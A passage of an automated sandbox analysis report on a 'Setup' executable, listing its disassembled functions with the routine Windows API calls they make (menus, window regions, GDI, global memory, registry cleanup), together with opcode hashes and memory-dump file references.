Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$CtrlH_prolog3MessageSend
String ID:
API String ID: 849854284-0
Opcode ID: 33e6816a9a60eb2d1ed4e4985561e30f67b7e5af52d46c82810575b0bf21b040
Instruction ID: fa66e0a0706b6f3efa40b7a3742d9a74830d34d19cffcee28c6285142de78b69
Opcode Fuzzy Hash: 33e6816a9a60eb2d1ed4e4985561e30f67b7e5af52d46c82810575b0bf21b040
Instruction Fuzzy Hash: 3421B1F1801224AADF25AB24DD85FEEB7F5EF61700F1041DAF829A2252DB308F40DB51

Function 00B9FEEB Relevance: 7.6, APIs: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA2C8B: __EH_prolog3_GS.LIBCMT ref: 00BA2C92
Part of subcall function 00BA2C8B: GetWindowRect.USER32(00000000,00000000), ref: 00BA2CE0
Part of subcall function 00BA2C8B: CreateRoundRectRgn.GDI32(00000000,00000000,00000001,?,00000004,00000004), ref: 00BA2D0A
Part of subcall function 00BA2C8B: SetWindowRgn.USER32(00000000,?,00000000), ref: 00BA2D20

GetSystemMenu.USER32(?,00000000), ref: 00B9FF75
DeleteMenu.USER32(?,0000F120,00000000,00000000), ref: 00B9FF92
DeleteMenu.USER32(?,0000F020,00000000), ref: 00B9FFA1
DeleteMenu.USER32(?,0000F030,00000000), ref: 00B9FFB0
EnableMenuItem.USER32(?,0000F060,00000001), ref: 00B9FFD8

Part of subcall function 00B9D340: SetRectEmpty.USER32(?), ref: 00B9D36B
Part of subcall function 00B9D340: ReleaseCapture.USER32 ref: 00B9D371
Part of subcall function 00B9D340: SetCapture.USER32(?), ref: 00B9D384
Part of subcall function 00B9D340: RedrawWindow.USER32(?,00000000,00000000,00000505), ref: 00B9D484

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Menu$DeleteRectWindow$Capture$CreateEmptyEnableH_prolog3_ItemRedrawReleaseRoundSystem
String ID:
API String ID: 4022425685-0
Opcode ID: 5683a608f49270b37283e51c147fd0979b793fe27fec9d0e8bd15a0af28f569d
Instruction ID: 6707f34d195b53d90142df7767cdbf08003679021891fc55d381e0f7eb72f3e8
Opcode Fuzzy Hash: 5683a608f49270b37283e51c147fd0979b793fe27fec9d0e8bd15a0af28f569d
Instruction Fuzzy Hash: EA218E35302256BFCF212F619D89B7E7FAAEF4436070440B6F9059A261CB719D11DAA1

Function 00BE9D3F Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000002,?,00000000,?,?,?,00BE9D29,00000000,00000000,?,00CE4598,00CE4598,?,00BEAAEE,?,00000000), ref: 00BE9D4C
GlobalLock.KERNEL32(00000000), ref: 00BE9D61
CreateStreamOnHGlobal.OLE32(00000000,00000001,00000000), ref: 00BE9D7D
EnterCriticalSection.KERNEL32(00D2DFCC,00000000), ref: 00BE9D9A
LeaveCriticalSection.KERNEL32(00D2DFCC,00000000), ref: 00BE9E05

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Global$CriticalSection$AllocCreateEnterLeaveLockStream
String ID:
API String ID: 983187867-0
Opcode ID: 9938d36cf252e6b9493b7c5c58288a0a1e86d2ff4704295b6a2f1b38551b79e0
Instruction ID: 9f5b53b24cd15f549d6b62381d2eabe3c39e5bda9c101235f399901622302154
Opcode Fuzzy Hash: 9938d36cf252e6b9493b7c5c58288a0a1e86d2ff4704295b6a2f1b38551b79e0
Instruction Fuzzy Hash: CC21D175601295ABCB20EB66DD09B6E77E9EF48311F0040A6F902D33A1EF74CE15CAB5

Function 00BA4E47 Relevance: 7.6, APIs: 5, Instructions: 66windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,00004212,00000001), ref: 00BA4E79
EnableMenuItem.USER32(?,00004213,00000000), ref: 00BA4E8A
EnableMenuItem.USER32(?,00004214,00000000), ref: 00BA4EB9
CheckMenuItem.USER32(?,00004213,00000008), ref: 00BA4EE0
CheckMenuItem.USER32(?,00004214,00000000), ref: 00BA4EEC

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ItemMenu$Enable$Check
String ID:
API String ID: 1852492618-0
Opcode ID: 66f9007362ab85ac2d52f59bf46a376e4b4764000772d3a0410f0420ddea19dc
Instruction ID: 698f01b0c1b3e9263f11f7c0ccf6796d802eb5547a5ae8156bfeb74442f5d580
Opcode Fuzzy Hash: 66f9007362ab85ac2d52f59bf46a376e4b4764000772d3a0410f0420ddea19dc
Instruction Fuzzy Hash: 4E119DB1245A05BFE7105F20DE85B2BB7E8FB95354B408469BA16E64B1C7B0AD10DA60

Function 00B8F40F Relevance: 7.6, APIs: 5, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GlobalGetAtomNameW.KERNEL32(?,?,00000103), ref: 00B8F484
GlobalAddAtomW.KERNEL32(?), ref: 00B8F491
GlobalGetAtomNameW.KERNEL32(?,?,00000103), ref: 00B8F4AB
GlobalAddAtomW.KERNEL32(?), ref: 00B8F4B8
SendMessageW.USER32(00000000,000003E4,00000000,?), ref: 00B8F4DD

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AtomGlobal$Name$MessageSend
String ID:
API String ID: 1515195355-0
Opcode ID: 785a7ff7b51ad10bd09ddb99702baa2ebf345dba8a576127c35e45b578f3dad4
Instruction ID: 68bb571be42ba4ff8ce4bf3862e71b1d4a04789045bbc19b767e72d348daa519
Opcode Fuzzy Hash: 785a7ff7b51ad10bd09ddb99702baa2ebf345dba8a576127c35e45b578f3dad4
Instruction Fuzzy Hash: BF21C071601309EBCB24AF74C808BBA77F9FB04718F04416BF859861A1D7749E80CB90

Function 00B8A373 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

GetMapMode.GDI32(?,?,?,?,?,00B83556,?,00000000,0000001C,00B82397), ref: 00B8A382
GetDeviceCaps.GDI32(?,00000058), ref: 00B8A3CA
GetDeviceCaps.GDI32(?,0000005A), ref: 00B8A3D7

Part of subcall function 00B6C811: MulDiv.KERNEL32(?,00000000,00000000), ref: 00B6C84A
Part of subcall function 00B6C811: MulDiv.KERNEL32(?,00000000,00000000), ref: 00B6C86B

MulDiv.KERNEL32(?,000009EC,00000060), ref: 00B8A3F9
MulDiv.KERNEL32(00000000,000009EC,00000060), ref: 00B8A406

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CapsDevice$Mode
String ID:
API String ID: 696222070-0
Opcode ID: ba46ff8665cd7ad7f286b0f1b9f29e1c42d2c5bc2b5e09c5466419f4a6a30929
Instruction ID: 6bff86720fd538be6eb1ccd80e269916a292074d432d95467d9addee2204176a
Opcode Fuzzy Hash: ba46ff8665cd7ad7f286b0f1b9f29e1c42d2c5bc2b5e09c5466419f4a6a30929
Instruction Fuzzy Hash: E4119135201611BFDB116B21DC88A2DBFE9FF983617144056FD4293760DB71AC52DB92

Function 00B8A8AA Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

GetMapMode.GDI32(?,?,?,00000000,?,00B835A0,?), ref: 00B8A8B9
GetDeviceCaps.GDI32(?,00000058), ref: 00B8A901
GetDeviceCaps.GDI32(?,0000005A), ref: 00B8A90E

Part of subcall function 00B6CB4B: MulDiv.KERNEL32(?,00000000,00000000), ref: 00B6CB84
Part of subcall function 00B6CB4B: MulDiv.KERNEL32(?,00000000,00000000), ref: 00B6CBA5

MulDiv.KERNEL32(?,00000060,000009EC), ref: 00B8A930
MulDiv.KERNEL32(00000000,00000060,000009EC), ref: 00B8A93D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CapsDevice$Mode
String ID:
API String ID: 696222070-0
Opcode ID: 409a4e8834565045aa3f35a845b26026657e4ce69244425df0ec10222349e8a0
Instruction ID: ac5290633562d189c773238b4004ba6f8966d1895d5f19ecfd5dec1ebfbc9162
Opcode Fuzzy Hash: 409a4e8834565045aa3f35a845b26026657e4ce69244425df0ec10222349e8a0
Instruction Fuzzy Hash: 9F11BF7A201601BFDB116B24DC88A2DFFEAEF883617154016FE0293360DB31AD42CB92

Function 00BA2C8B Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BA2C92
GetWindowRect.USER32(00000000,00000000), ref: 00BA2CE0
CreateRoundRectRgn.GDI32(00000000,00000000,00000001,?,00000004,00000004), ref: 00BA2D0A
SetWindowRgn.USER32(00000000,?,00000000), ref: 00BA2D20
SetWindowRgn.USER32(00000000,00000000,00000000), ref: 00BA2D38

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Rect$CreateH_prolog3_Round
String ID:
API String ID: 2502471913-0
Opcode ID: 0df23b588f5fd18c39a87e55e8abf78c7f165be984f1b91480c5cbb65d58a5ff
Instruction ID: c8f2c0e395c14820993cb540756bfdf36135d05b8f30bb6890e4975bdc0fce87
Opcode Fuzzy Hash: 0df23b588f5fd18c39a87e55e8abf78c7f165be984f1b91480c5cbb65d58a5ff
Instruction Fuzzy Hash: 402117B5D0160AAFDB05DFA4CD84AAEBBB9FF08314F14016AE645B3251CB345E01DFA5

Function 00B67CF7 Relevance: 7.6, APIs: 5, Instructions: 61registryCOMMON

Download Yara Rule

APIs

RegDeleteKeyW.ADVAPI32(00000000,?), ref: 00B67D1A
RegDeleteValueW.ADVAPI32(00000000,?,?,00000000), ref: 00B67D38
RegCloseKey.ADVAPI32(00000000), ref: 00B67D6B

Part of subcall function 00B67609: RegCloseKey.ADVAPI32(00000000), ref: 00B676AE
Part of subcall function 00B67609: RegCloseKey.ADVAPI32(00000000), ref: 00B676BD

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00B67D86

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Close$Delete$PrivateProfileStringValueWrite
String ID:
API String ID: 1330817964-0
Opcode ID: e22341655862a1a115d4547c953143909d067072978182056b0618725a0a3366
Instruction ID: 170885abab29373cef67bf9f833b7a1cd7fecaabec87039503ea2d72d16d45c7
Opcode Fuzzy Hash: e22341655862a1a115d4547c953143909d067072978182056b0618725a0a3366
Instruction Fuzzy Hash: 75119E72085255EBCB225F64DC04BAF3BA9EF44798F1049B6F9059A120DF39C911A7A0

Function 00B8E056 Relevance: 7.6, APIs: 5, Instructions: 54windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,00000367,00000367,00000003), ref: 00B8E07B
PostMessageW.USER32(?,00000367,00000000,00000000), ref: 00B8E08B
GetCapture.USER32 ref: 00B8E091
ReleaseCapture.USER32 ref: 00B8E09D
PostMessageW.USER32(?,0000036A,00000000,00000000), ref: 00B8E0C4

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Message$CapturePost$PeekRelease
String ID:
API String ID: 1125932295-0
Opcode ID: 3addfbbfcd4070d2eb46a85f6a8e8c2c32479e8721b8bd025df0f49a36cd5b06
Instruction ID: aee17dddd06622427717eda4238027d4bd4565cde7e1a4d40128d807b03f960a
Opcode Fuzzy Hash: 3addfbbfcd4070d2eb46a85f6a8e8c2c32479e8721b8bd025df0f49a36cd5b06
Instruction Fuzzy Hash: B9016DB0601644AFEB216B319D49F6B7BFCFB84705F0048AAF55AC2161EA61DD01CB21

Function 00BAAFFA Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00BAB00F
ScreenToClient.USER32(?,?), ref: 00BAB01C
PtInRect.USER32(?,?,?), ref: 00BAB02F
LoadCursorW.USER32(00000000,00007F86), ref: 00BAB051
SetCursor.USER32(?), ref: 00BAB06F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Cursor$ClientLoadRectScreen
String ID:
API String ID: 2747913190-0
Opcode ID: d2ceb4d4273d0e2ade68000873e404f56995c47fcd04ac31206114d0c6217997
Instruction ID: fe1607a02a5605975ab18502409cb5364e0432275f121a11965ff65fcccaec03
Opcode Fuzzy Hash: d2ceb4d4273d0e2ade68000873e404f56995c47fcd04ac31206114d0c6217997
Instruction Fuzzy Hash: 0D015BB190014AEFDF216FA1DD09EAEBBF9EF48341B0140BAF51596121E6349A01DF62

Function 00B7687D Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32(?,BFD722F5,?,?,?,00CC5107,000000FF), ref: 00B768C4
GlobalHandle.KERNEL32(00000000), ref: 00B768D3
GlobalUnlock.KERNEL32(00000000), ref: 00B768DC
GlobalFree.KERNEL32(00000000), ref: 00B768E3
DeleteCriticalSection.KERNEL32(?,BFD722F5,?,?,?,00CC5107,000000FF), ref: 00B768ED

Part of subcall function 00B76ADD: EnterCriticalSection.KERNEL32(?,00000001,00000000,00D2C7D8,?,?,00000000), ref: 00B76B58
Part of subcall function 00B76ADD: LeaveCriticalSection.KERNEL32(?,?,?,?,00000000), ref: 00B76B6B
Part of subcall function 00B76ADD: LocalFree.KERNEL32(?,?,?,00000000), ref: 00B76B74
Part of subcall function 00B76ADD: TlsSetValue.KERNEL32(?,00000000,?,?,00000000), ref: 00B76B90

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CriticalFreeGlobalSection$DeleteEnterHandleLeaveLocalUnlockValue
String ID:
API String ID: 1549993015-0
Opcode ID: 91e286ad2a79623a7cb8d3347f94202fd8ed39feba149b2fa054237b3dd8b860
Instruction ID: 061f3c5936ed2c2ae52a00d253f4511c649a87029825dbe89d379c15c4c7faac
